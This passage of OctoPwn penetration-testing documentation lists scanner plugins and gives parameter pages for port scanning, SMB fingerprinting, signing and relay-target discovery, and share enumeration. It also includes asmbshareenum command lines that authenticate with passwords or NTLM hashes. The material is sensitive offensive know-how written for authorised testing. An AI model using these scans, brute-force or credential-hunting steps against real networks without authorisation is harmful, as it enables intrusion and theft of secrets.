### SMB protocol & fingerprinting | Shortname | Tier | Auth | WASM | Description | |-----------|------|------|------|-------------| | [smbfinger](smbfinger.md) | community | – | yes | OS / domain info from unauthenticated SMB NTLM handshake | | [smbsig](smbsig.md) | pro | – | yes | Fast SMB-signing yes/no check; finds relay-attack targets | | [smbproto](smbproto.md) | pro | – | yes | Per-dialect SMB version + signing enumeration | | [smbiface](smbiface.md) | community | yes | yes | Network interface / IP enumeration via SMB | ### SMB share, file and session enumeration | Shortname | Tier | Auth | WASM | Description | |-----------|------|------|------|-------------| | [smbshare](smbshare.md) | pro | yes | yes | Enumerates SMB shares, tests for read/write access | | [smbfile](smbfile.md) | community | yes | yes | Recursive share / directory / file enumeration | | [snaffler](snaffler.md) | pro | yes | yes | Rule-based file triage to find sensitive data on shares | | [smbsession](smbsession.md) | pro | yes | yes | Lists active user sessions on SMB targets | | [smbregsession](smbregsession.md) | community | yes | yes | Enumerates local user SIDs from the remote registry | ### Web reconnaissance | Shortname | Tier | Auth | WASM | Description | |-----------|------|------|------|-------------| | [httpheader](httpheader.md) | pro | – | yes | HTTP headers, status codes and page titles | | [httpfinger](httpfinger.md) | community | – | yes | Web technology / service fingerprinting | | [webscreenshot](webscreenshot.md) | enterprise | – | no | Headless-Chrome screenshots for visual triage | | [nuclei](nuclei.md) | enterprise | – | no | Template-based web vulnerability scanner | ### SSH reconnaissance | Shortname | Tier | Auth | WASM | Description | |-----------|------|------|------|-------------| | [sshbanner](sshbanner.md) | pro | – | yes | Retrieves SSH server banner | | [sshinfo](sshinfo.md) | pro | – | yes | Enumerates KEX algorithms, ciphers, MACs | | [sshauth](sshauth.md) | pro | yes | yes | Enumerates accepted SSH authentication methods | ### Authentication / credential validation | Shortname | Tier | Auth | WASM | Description | |-----------|------|------|------|-------------| | [krb5user](krb5user.md) | pro | yes | yes | AD username enumeration via Kerberos pre-auth | | [smbadmin](smbadmin.md) | pro | yes | yes | Tests admin access via C$ / SCM / Remote Registry | | [smblaps](smblaps.md) | community | yes | yes | Validates LAPS passwords against target hosts | | [smbbrute](smbbrute.md) | community | yes | yes | Username/password brute force with smart throttling | | [mssqllogin](mssqllogin.md) | pro | yes | yes | MSSQL credential validation | | [mssqladmin](mssqladmin.md) | pro | yes | yes | Checks `sysadmin` membership on MSSQL servers | | [sshlogin](sshlogin.md) | pro | yes | yes | SSH credential validation | | [ftplogin](ftplogin.md) | pro | yes | yes | FTP credential validation | | [ftpanon](ftpanon.md) | community | – | yes | Tests FTP servers for anonymous login | | [rdplogin](rdplogin.md) | pro | yes | yes | RDP credential validation | ### RDP | Shortname | Tier | Auth | WASM | Description | |-----------|------|------|------|-------------| | [rdpcap](rdpcap.md) | pro | yes | yes | Enumerates RDP security capabilities (Restricted Admin, RCG, …) | | [rdpscreen](rdpscreen.md) | pro | yes | yes | Captures RDP session screenshots | ### MSSQL data hunting | Shortname | Tier | Auth | WASM | Description | |-----------|------|------|------|-------------| | [mssqlfinger](mssqlfinger.md) | pro | – | yes | Unauthenticated OS / domain info from MSSQL NTLM handshake | | [mssqlpipe](mssqlpipe.md) | pro | yes | yes | Discover MSSQL instances behind SMB named pipes | | [mssqldbinfo](mssqldbinfo.md) | community | yes | yes | Maps databases / schemas / tables / columns | | [mssqlsensdata](mssqlsensdata.md) | community | yes | yes | Finds sensitive data (PII, financial, secrets) by keyword + sampling | | [mssqlquery](mssqlquery.md) | pro | yes | yes | Runs an arbitrary SQL query across many servers | ### WMI | Shortname | Tier | Auth | WASM | Description | |-----------|------|------|------|-------------| | [wmiadmin](wmiadmin.md) | community | yes | yes | Tests admin-level WMI access | | [wmiquery](wmiquery.md) | community | yes | yes | Runs a custom WQL query across many hosts | ### LDAP & NFS | Shortname | Tier | Auth | WASM | Description | |-----------|------|------|------|-------------| | [ldapsig](ldapsig.md) | pro | yes | yes | Tests LDAP signing / channel-binding enforcement on DCs | | [nfs3file](nfs3file.md) | pro | yes | yes | Recursive enumeration of NFS v3 shares | ### SNMP & IPMI | Shortname | Tier | Auth | WASM | Description | |-----------|------|------|------|-------------| | [snmphost](snmphost.md) | pro | yes | yes | Reads `sysDescr` (or any OID) from SNMP agents | | [ipmicaps](ipmicaps.md) | pro | – | yes | Discovers IPMI BMCs and their auth capabilities | | [ipmicipherzero](ipmicipherzero.md) | pro | – | yes | Tests IPMI BMCs for unauthenticated cipher-zero access | ### Vulnerability & relay-path checks | Shortname | Tier | Auth | WASM | Description | |-----------|------|------|------|-------------| | [smbprintnightmare](smbprintnightmare.md) | community | yes | yes | Tests for PrintNightmare (CVE-2021-1675 / 34527) | | [smbspooler](smbspooler.md) | community | – | yes | Print Spooler reachable? (PrinterBug / coercion) | | [smbwebdav](smbwebdav.md) | community | yes | yes | WebClient (WebDAV) active? (NTLM relay sink) | | [ntlmreflection](ntlmreflection.md) | community | yes | yes | Vulnerable to NTLM relay-back-to-self? | | [ntlmv1](ntlmv1.md) | community | yes | yes | NTLMv1 still permitted? (`LmCompatibilityLevel`) | | [CVE_2017_12542](CVE_2017_12542.md) | pro | – | yes | HP iLO 4 authentication bypass | ### Post-exploitation secret hunting | Shortname | Tier | Auth | WASM | Description | |-----------|------|------|------|-------------| | [smbpshistory](smbpshistory.md) | community | yes | yes | Downloads PSReadline command history files | | [event6secrets](event6secrets.md) | community | yes | yes | Mines Windows Event Logs for embedded secrets | --- # [Scanners / Discovery & inventory] portscan Source: https://docs.octopwn.com/plugins/scanners/portscan.html # TCP Port Scanner (portscan) The **TCP Port Scanner** discovers open TCP ports on each target by performing a full TCP connect against every target/port combination. The scanner takes a list of targets (IPs, CIDR ranges, hostnames, files, target IDs, target groups) and a list of ports, then tries to establish a TCP connection on every combination. A successful connection means the port is open; a timeout or refusal means it is closed or filtered. SOCKS proxy chaining is supported through the `proxy` parameter. Each result row contains the target IP, the open port number and the protocol (`TCP`). Discovered open ports are **automatically registered as target-port entries in the project**, which makes them available to every protocol-specific scanner — so SMB-related checks light up as soon as 445 is found, RDP scanners see 3389, etc. This auto-registration is what makes `portscan` the natural first scanner to run on a fresh project. !!! tip "Workflow" 1. **portscan** — sweep the target subnet to populate the project with open ports. 2. Other scanners with matching `triggerports` (`smbfinger` on 445, `sshbanner` on 22, `httpfinger` on 80/443, …) can then be launched on `targets=all` and they will only run against hosts where the relevant port is known to be open. !!! info "Browser-friendly" Unlike [nmap](nmap.md), `portscan` is implemented in pure Python, runs inside the browser-based OctoPwn build, and does not need any external binary. It is less feature-rich than dedicated scanners (no SYN scan, no version detection, no NSE) — for those, prefer [nmap](nmap.md). --- ## Parameters ### Normal Parameters #### ports Comma-separated list of TCP ports to probe. Default: `22, 88, 443, 445, 3389`. A more comprehensive set might include: `21, 22, 25, 69, 80, 88, 135, 139, 152, 161, 389, 443, 445, 1433, 3389, 5985, 5986, 8080, 8443`. #### protocol Currently only `TCP` is supported. #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:` (e.g., `g:test1`). - **Multiple Groups**: `g:,g:` (e.g., `g:test1,g:test2`). --- ### Advanced Parameters #### maxruntime Specifies the maximum runtime per host (in seconds). Set to `-1` to disable. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each TCP connect attempt. #### triggerports Ports which trigger an automated `portscan` when discovered by other scanners. #### workercount Specifies the number of parallel workers for the scan. #### wsnetreuse Internal parameter. Do not modify. --- # [Scanners / Discovery & inventory] nmap Source: https://docs.octopwn.com/plugins/scanners/nmap.html # Nmap Scanner (nmap) The **Nmap Scanner** wraps the `nmap` binary so that you can launch full Nmap scans from inside OctoPwn and have the results imported into the project automatically. The scanner builds an Nmap command line from your parameters (targets, ports, scan flags), runs `nmap` as a subprocess and streams its output into the console as the scan progresses. Once Nmap finishes, the XML output is parsed and every discovered host, port and service is stored in the project; the open ports are also registered as `/TCP` target-port entries so the protocol-specific scanners can pick them up later. Each result row contains the Nmap command that was executed and the raw XML output (base64-encoded) for archival. !!! warning "Browser version not supported" `nmap` shells out to a local `nmap` binary and is **not compatible with the browser (WASM) version of OctoPwn**. Run it from the desktop / server build. The scanner is part of the **enterprise** tier. !!! info "Prerequisites" - The `nmap` binary must be available in `PATH` (or set `nmappath` to its absolute location). - Some scan types — SYN scan (`-sS`), OS detection (`-O`) and many NSE scripts — require **root / sudo** privileges. Running OctoPwn unprivileged will silently degrade these scans to the next-best alternative (typically TCP connect). !!! tip "When to use which" - [portscan](portscan.md) — built-in TCP-connect scanner. Works in the browser, no external binary, fine for quick port discovery. - **nmap** — when you need SYN scan, version detection, OS fingerprinting, NSE scripts or any other Nmap-specific feature. --- ## Parameters ### Normal Parameters #### targets Specifies the targets to scan. Targets are passed verbatim to Nmap, so any expression Nmap accepts also works here. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:` (e.g., `g:test1`). - **Multiple Groups**: `g:,g:` (e.g., `g:test1,g:test2`). - **Port Group**: `p:` (e.g., `p:445`). - **Port Group with Protocol**: `p:/` (e.g., `p:445/tcp`). #### portdef Comma-separated port specification passed straight to Nmap's `-p` flag. Defaults to `22,88,443,445,389,636,3389`. Accepts ranges (`1-1024`), `T:` / `U:` prefixes, etc. #### flags Extra Nmap flags. Defaults to `-sT -sV` (TCP connect + version detection). Use this to switch scan type, enable NSE scripts (`--script vuln`), tune timing (`-T4`), enable OS detection (`-O`), etc. #### nmappath Path to the `nmap` executable. Defaults to `nmap` (resolved via `PATH`). Set this when the binary lives in a non-standard location. #### batchsize Maximum number of targets passed to a single Nmap invocation. Defaults to `255`. Larger sets are split into multiple sequential Nmap runs. --- ### Advanced Parameters #### maxruntime Specifies the maximum runtime per host (in seconds). Set to `-1` to disable. #### proxy Specifies the proxy ID to use for the scan. Note that Nmap itself talks directly to targets — the proxy is only used by the OctoPwn-side wrapper. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for the OctoPwn-side wrapper. Nmap's own timing is controlled through the `flags` parameter (`-T`, `--host-timeout`, `--max-rtt-timeout`, …). #### triggerports Ports which trigger an automated `nmap` scan when discovered by other scanners. #### workercount Specifies the number of parallel workers for the scan. #### wsnetreuse Internal parameter. Do not modify. --- # [Scanners / Discovery & inventory] baseline Source: https://docs.octopwn.com/plugins/scanners/baseline.html # Baseline Assessment Scanner (baseline) The **Baseline Assessment Scanner** is the recommended starting point for any internal-network engagement. It runs **twelve** complementary checks against each target host in a single pass, merges every finding into one stream and stores everything in the project — giving you a comprehensive first-pass view of every host's attack surface in one scan session. The following modules run in parallel per target: - **SMB shares & write test** — enumerates shares and tests for write access ([smbshare](smbshare.md)). - **PrintNightmare** — tests for CVE-2021-1675 / CVE-2021-34527 ([smbprintnightmare](smbprintnightmare.md)). - **WebDAV detection** — checks if the WebClient service is active ([smbwebdav](smbwebdav.md)). - **NTLM reflection** — tests for relay-to-self vulnerability ([ntlmreflection](ntlmreflection.md)). - **Local user SID enumeration** — lists local accounts via remote registry ([smbregsession](smbregsession.md)). - **MSSQL named pipes** — discovers SQL instances behind SMB pipes ([mssqlpipe](mssqlpipe.md)). - **MSSQL database info** — enumerates database schemas via the discovered pipe ([mssqldbinfo](mssqldbinfo.md)). - **LDAP enumeration** — runs core LDAP queries against the configured DC. - **LDAP signing check** — tests LDAP signing / channel-binding enforcement ([ldapsig](ldapsig.md)). - **Print Spooler detection** — checks if the Spooler RPC is reachable ([smbspooler](smbspooler.md)). - **SMB fingerprinting** — extracts OS/domain info from NTLM handshake ([smbfinger](smbfinger.md)). - **FTP anonymous login** — tests for anonymous FTP access ([ftpanon](ftpanon.md)). !!! tip "When (not) to use baseline" `baseline` is the easy mode for scoping a network in a single command and seeing what stands out. For deeper investigation of a specific finding (e.g. "every workstation has WebDAV", "every SQL server has weak schema isolation") run the corresponding focused scanner afterwards — they expose more parameters and produce more targeted results. !!! info "Enterprise tier" `baseline` orchestrates a substantial number of components and is part of the **enterprise** tier. !!! tip "Per-protocol authentication" `baseline` reuses one credential across four very different protocols. Each one has its own authentication semantics — refer to the corresponding client doc when something rejects: - **SMB / DCERPC checks** — see [SMB client authentication](../clients/smb.md#authentication) (`NTLM` / `KERBEROS`, no SMB1). - **MSSQL pipe + dbinfo** — see [MSSQL client authentication](../clients/mssql.md#authentication). The `sqlcredential` parameter overrides the SMB credential for the TDS-over-pipe login and follows the same `PLAIN` / `NTLM` / `KERBEROS` rules as the [`MSSQLPIPE` transport row](../clients/mssql.md#transport). - **LDAP enumeration + signing** — see [LDAP client authentication](../clients/ldap.md#authentication) (`NTLM` / `KERBEROS` / `SIMPLE` / `SSL`, plus StartTLS and client-cert binds). - **FTP anonymous** — see [FTP client authentication](../clients/ftp.md#authentication) (only `PLAIN`; the embedded check uses the `anonymous` credential anyway). --- ## Parameters ### Normal Parameters #### credential Specifies the ID of the credential to use for SMB / LDAP / SQL authentication. Enter the ID of the credential stored in the Credentials Window. A standard domain user gives you the bulk of the value; local-admin unlocks the registry-based checks (NTLM reflection, local user SIDs). #### dcip Optional explicit Domain Controller IP for the embedded LDAP queries. Leave empty to let OctoPwn auto-discover via DNS / DC locator. #### sqlcredential Optional separate credential ID for the SQL connection through any discovered MSSQL named pipes. Leave empty to reuse the SMB credential. #### sqlpiperegex Regex used to identify SQL named pipes (forwarded to the embedded `mssqlpipe` check). Default: ``` ^(?:MSSQL\$[A-Za-z0-9_-]+\\)?sql\\query$ ``` #### writetest When `True` (default), the SMB share check actively tests for write access by attempting to create a file on each readable share. #### skipdatabases Comma-separated list of databases to skip in the embedded `mssqldbinfo` enumeration. #### skipschemas Comma-separated list of schemas to skip. #### skiptables Comma-separated list of tables to skip. #### skipcolumns Comma-separated list of columns to skip. #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:` (e.g., `g:test1`). - **Multiple Groups**: `g:,g:` (e.g., `g:test1,g:test2`). - **Port Group**: `p:` (e.g., `p:445`). - **Port Group with Protocol**: `p:/` (e.g., `p:445/tcp`). --- ### Advanced Parameters #### authtype Specifies the authentication protocol. Available protocols: - `NTLM` - `Kerberos` #### dialect Specifies the SMB connection dialect. Fixed to `SMB2` for this scanner. #### krbetypes Specifies the Kerberos encryption types to use during the scan. Provide a comma-separated list of encryption types (e.g., `23,17,18`). #### krbrealm Specifies the Kerberos realm to use. #### maxruntime Specifies the maximum runtime per host (in seconds). Set to `-1` to disable. Because `baseline` orchestrates many sub-scanners, give this a generous value on slow networks. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each connection attempt. #### triggerports Ports which trigger an automated `baseline` scan when discovered by other scanners. Pre-populated with `445/TCP, 1433/TCP, 389/TCP, 636/TCP`. #### workercount Specifies the number of parallel workers for the scan. #### wsnetreuse Internal parameter. Do not modify. --- # [Scanners / SMB protocol & fingerprinting] smbfinger Source: https://docs.octopwn.com/plugins/scanners/smbfinger.html # SMB Fingerprint Scanner (smbfinger) The **SMB Fingerprint Scanner** enumerates NTLM-handshake information from SMB servers (port 445) **without requiring credentials**. It is one of the fastest ways to gather Active Directory and OS-level metadata from a Windows estate during initial reconnaissance. The following details are gathered during the scan: - **domainname** — NetBIOS domain name of the target. - **computername** — NetBIOS computer name. - **dnsforestname** — DNS forest name of the domain. - **dnsdomainname** — DNS domain name of the target. - **dnscomputername** — Fully-qualified DNS computer name. - **local_time** — Current local time on the target system (handy for Kerberos clock-skew diagnostics). - **os_major_version** — Major OS version reported in the NTLM target info. - **os_minor_version** — Minor OS version. - **os_build** — OS build number. - **os_guess** — Best-effort OS string derived from the version triplet. !!! info "No credentials required" The scanner uses an unauthenticated SMB negotiate / NTLM challenge handshake. You do **not** need to set the `credential` parameter for this scan. !!! tip "Related scanners" - [mssqlfinger](mssqlfinger.md) — same idea, but extracts the data from an unauthenticated MSSQL TDS pre-login. - [smbproto](smbproto.md) — enumerates supported SMB dialects and signing settings. - [smbsig](smbsig.md) — fast SMB-signing yes/no check. !!! tip "Authenticated follow-up" Once you have a credential, the [SMB client](../clients/smb.md) is the natural next stop — use the fingerprinted DNS / NetBIOS / domain values directly when configuring targets and Kerberos realms. --- ## Parameters ### Normal Parameters #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:` (e.g., `g:test1`). - **Multiple Groups**: `g:,g:` (e.g., `g:test1,g:test2`). - **Port Group**: `p:` (e.g., `p:445`). - **Port Group with Protocol**: `p:/` (e.g., `p:445/tcp`). --- ### Advanced Parameters #### dialect Specifies the SMB connection dialect. Fixed to `SMB2` for this scanner. #### maxruntime Specifies the maximum runtime per host (in seconds). Set to `-1` to disable. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each connection attempt. #### triggerports Ports which trigger an automated `smbfinger` scan when discovered by other scanners. Pre-populated with `445/TCP`. #### workercount Specifies the number of parallel workers for the scan. #### wsnetreuse Internal parameter. Do not modify. --- # [Scanners / SMB protocol & fingerprinting] smbsig Source: https://docs.octopwn.com/plugins/scanners/smbsig.html # SMB Signature Scanner (smbsig) The **SMB Signature Scanner** in OctoPwn checks whether SMB signing is enabled and whether it is enforced on target SMB servers. SMB signing ensures the integrity of SMB messages by adding a cryptographic signature to each message. However, if SMB signing is enabled but not enforced, attackers can perform **SMB relaying**. **SMB Relaying** is an attack that allows adversaries to intercept and relay SMB authentication requests to another target, effectively impersonating the victim. This can be used to gain unauthorized access to resources or escalate privileges within a network. Note that OctoPwn has built-in SMB Relaying capabilities — see [`RELAYSMB`](../servers/relaysmb.md) for relays against a target list, and [`RELAYNTLMREFLECTION`](../servers/relayreflection.md) for the back-at-source variant. !!! tip "After the scan" The `SMB`, `SMB2` and `SMB3` protocols selectable in the [SMB client transport](../clients/smb.md#transport) all map to the same SMB2/SMB3 auto-negotiating dialect — there is no SMB1 path in OctoPwn. The signing setting reported here applies to that dialect; once you have a valid credential, point the [SMB client](../clients/smb.md) at any host this scan flagged as relayable. --- ## Parameters ### Normal Parameters #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:` (e.g., `g:test1`). - **Multiple Groups**: `g:,g:` (e.g., `g:test1,g:test2`). - **Port Group**: `p:` (e.g., `p:445`). - **Port Group with Protocol**: `p:/` (e.g., `p:445/tcp`). --- ### Advanced Parameters #### dialect Specifies the SMB connection dialect. Fixed to `SMB2` for this scanner. #### maxruntime Specifies the maximum runtime for the scanner. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each target. #### workercount Specifies the number of parallel workers for the scan. #### wsnetreuse Internal parameter. Do not modify. --- # [Scanners / SMB protocol & fingerprinting] smbproto Source: https://docs.octopwn.com/plugins/scanners/smbproto.html # SMB Protocol Scanner (smbproto) The **SMB Protocol Scanner** enumerates **all** SMB dialect versions supported by each target and reports the signing configuration **per dialect** (port 445). For every dialect the scanner negotiates a separate connection and records: - **PROTO** — the SMB dialect (e.g. `SMB2.02`, `SMB2.10`, `SMB3.00`, `SMB3.11`). - **SIGN_ENABLED** — whether the server advertises support for SMB signing. - **SIGN_ENFORCED** — whether the server **requires** SMB signing. This is a thorough scan: it opens five to six connections per host. If you only need a single yes/no on signing, use the [smbsig](smbsig.md) scanner instead — it negotiates SMB 2.02 once and is significantly faster. No credentials are required. Servers that support signing but do not enforce it are vulnerable to SMB relay attacks: an attacker who can coerce another machine to authenticate to such a host can relay the credentials and perform actions as the coerced identity. The per-dialect breakdown also helps identify hosts still offering legacy SMB1 / early SMB2 dialects, which may have additional weaknesses (notably SMB1 entirely). !!! tip "When to use which" - [smbsig](smbsig.md) — fast, single yes/no on SMB signing. Use it for bulk discovery of relay targets. - **smbproto** — full per-dialect breakdown. Use when you also care about which dialects a host supports. !!! tip "Mapping to client transport" The dialects reported here are negotiated directly. When you connect from the [SMB client](../clients/smb.md#transport), the `SMB` / `SMB2` / `SMB3` selectors all auto-negotiate within the SMB2/SMB3 family — there is no SMB1 path in OctoPwn even when a target advertises it. --- ## Parameters ### Normal Parameters #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:` (e.g., `g:test1`). - **Multiple Groups**: `g:,g:` (e.g., `g:test1,g:test2`). - **Port Group**: `p:` (e.g., `p:445`). - **Port Group with Protocol**: `p:/` (e.g., `p:445/tcp`). --- ### Advanced Parameters #### dialect Specifies the SMB connection dialect. Fixed to `SMB2` for this scanner — the dialect actually negotiated rotates through the supported set internally. #### maxruntime Specifies the maximum runtime per host (in seconds). Set to `-1` to disable. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each connection attempt. #### triggerports Ports which trigger an automated `smbproto` scan when discovered by other scanners. Pre-populated with `445/TCP`. #### workercount Specifies the number of parallel workers for the scan. #### wsnetreuse Internal parameter. Do not modify. --- # [Scanners / SMB protocol & fingerprinting] smbiface Source: https://docs.octopwn.com/plugins/scanners/smbiface.html # SMB Interface Scanner (smbiface) The **SMB Interface Scanner** in OctoPwn enumerates all network interfaces and their assigned IP addresses of target hosts via SMB. This scanner is particularly useful for identifying servers connected to multiple network segments, which may provide opportunities for lateral movement and access to restricted networks. --- ## Parameters ### Normal Parameters #### credential Specifies the ID of the credential to use for authentication. Enter the ID of the credential stored in the Credentials Window. #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:` (e.g., `g:test1`). - **Multiple Groups**: `g:,g:` (e.g., `g:test1,g:test2`). - **Port Group**: `p:` (e.g., `p:445`). - **Port Group with Protocol**: `p:/` (e.g., `p:445/tcp`). --- ### Advanced Parameters #### authtype Specifies the authentication protocol. Available protocols: - `NTLM` - `Kerberos` #### dialect Specifies the SMB connection dialect. Fixed to `SMB2` for this scanner. #### krbetypes Specifies the Kerberos encryption types to use during the scan. Provide a comma-separated list of encryption types (e.g., `23,17,18`). #### krbrealm Specifies the Kerberos realm to use. Enter the Kerberos realm (domain name) for authentication. #### maxruntime Specifies the maximum runtime for the scanner. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. --- # [Scanners / SMB shares, files & sessions] smbshare Source: https://docs.octopwn.com/plugins/scanners/smbshare.html # SMB Share Enumeration Scanner (smbshare) The **SMB Share Enumeration Scanner** in OctoPwn enumerates SMB shares on target systems. Optionally, it can check whether shares are writable, which can be particularly useful for identifying misconfigured shares that might allow unauthorized write access. Share enumeration provides a valuable overview of available shares to locate sensitive files such as credentials, configuration files, or other confidential data. --- ## Parameters ### Normal Parameters #### credential Specifies the ID of the credential to use for authentication. Enter the ID of the credential stored in the Credentials Window. #### targets Specifies the targets to scan. A list of targets can be specified in the following formats: - **ID**: ID of the target server from the targets window. - **IP**: Single IP address (e.g., `192.168.1.1`). - **CIDR**: IP range in CIDR notation (e.g., `192.168.1.0/24`). - **Hostname**: Resolvable hostname. - **File**: Path to a file containing targets (must be in OctoPwn’s `/browserefs/volatile` directory). File lists need to be uploaded into OctoPwn and separated by newlines. - **Control word**: Use `all` to scan all stored targets. - **Single Group**: `g:` (e.g., `g:test1`). - **Multiple Groups**: `g:,g:` (e.g., `g:test1,g:test2`). - **Port Group**: `p:` (e.g., `p:445`). - **Port Group with Protocol**: `p:/` (e.g., `p:445/tcp`). #### writetest Checks whether the identified shares are writable. A writable share test determines if the scanner can create files on the share, which may indicate misconfigurations or opportunities for exploitation, such as overwriting scripts or group policies. --- ### Advanced Parameters #### authtype Specifies the authentication protocol. Available protocols: - `NTLM` - `Kerberos` #### dialect Specifies the SMB connection dialect. Fixed to `SMB2` for this scanner. #### krbetypes Specifies the Kerberos encryption types to use during the scan. Provide a comma-separated list of encryption types (e.g., `23,17,18`). #### krbrealm Specifies the Kerberos realm to use. Enter the Kerberos realm (domain name) for authentication. #### maxruntime Specifies the maximum runtime for the scanner. #### proxy Specifies the proxy ID to use for the scan. Enter the ID of the proxy to route the scan through. Proxies must be configured in the Proxy Window. #### resultsfile Specifies a file for saving the scan results. The file will be saved in OctoPwn’s `/browserefs/volatile` directory. #### showerrors Determines whether errors encountered during the scan should be displayed. #### timeout Sets the timeout (in seconds) for each target. #### workercount Specifies the number of parallel workers for the scan. --- # [Scanners / SMB shares, files & sessions] smbfile Source: https://docs.octopwn.com/plugins/scanners/smbfile.html # SMB File Scanner (smbfile) The **SMB File Scanner** in OctoPwn performs file enumeration over SMB shares, traversing folders up to a specified depth to collect file and folder information. This scanner helps penetration testers uncover misconfigured SMB shares, credentials, configuration files, or other sensitive data. The scanner is particularly useful for the following: 1. **Identify Sensitive Files**: Locate credentials, configuration files, or other sensitive data exposed on SMB shares. 2. **Assess Permissions**: Test shares for writable permissions to identify potential misconfigurations or opportunities for exploitation. 3. **Directory and File Security**: Retrieve and analyze security descriptors of files, directories, and shares to assess access controls. One common misconfiguration are writeable SYSVOL Shares. This would enable an attacker with write-access to overwrite to scripts or group policies, which are in turn executed by multiple clients. ??? info "Faster Share Enumeration" Note that smb file enumeration can be very slow through the browser or on a a slow network connection from inside of octopwn. Alternatively you can use the python enumerator [asmbshareenum](https://github.com/skelsec/aiosmb/blob/main/aiosmb/examples/smbshareenum.py) on a system directly. To start using it, simply install [aiosmb](https://github.com/skelsec/aiosmb) in a python venv. ### asmbshareenum Usage #### Arguments - **--depth [x]:** Recursion depth, -1 means infinite - **-w [x]**: --smb-worker-count: Parallell count - **-o [filename]**: output to this file - **--json**: json format - -**-sharesd**: Fetch share security descriptor - -**-dirsd**: Fetch directory security descriptor - -**-filesd**: Fetch file security descriptor - -**-es "a,b,c"**: Exclude shares - -**-ed "a,b,c"**: Exclude directories #### Password Authentication ```python asmbshareenum --url 'smb2+ntlm-password://%user%:%password%@%target%' %target% --progress --depth 3 -o shareoutput.txt ``` #### NTLM Authentication ```python asmbshareenum --url 'smb2+ntlm-nt://%user%:%ntlm%@%target%' %target% --progress --depth 3 -o shareoutput.txt ``` --- ## Parameters ### Normal Parameters #### credential Specifies the ID of the credential to use for authentication. Enter the ID of the credential stored in the Credentials Window. #### depth Specifies the folder enumeration 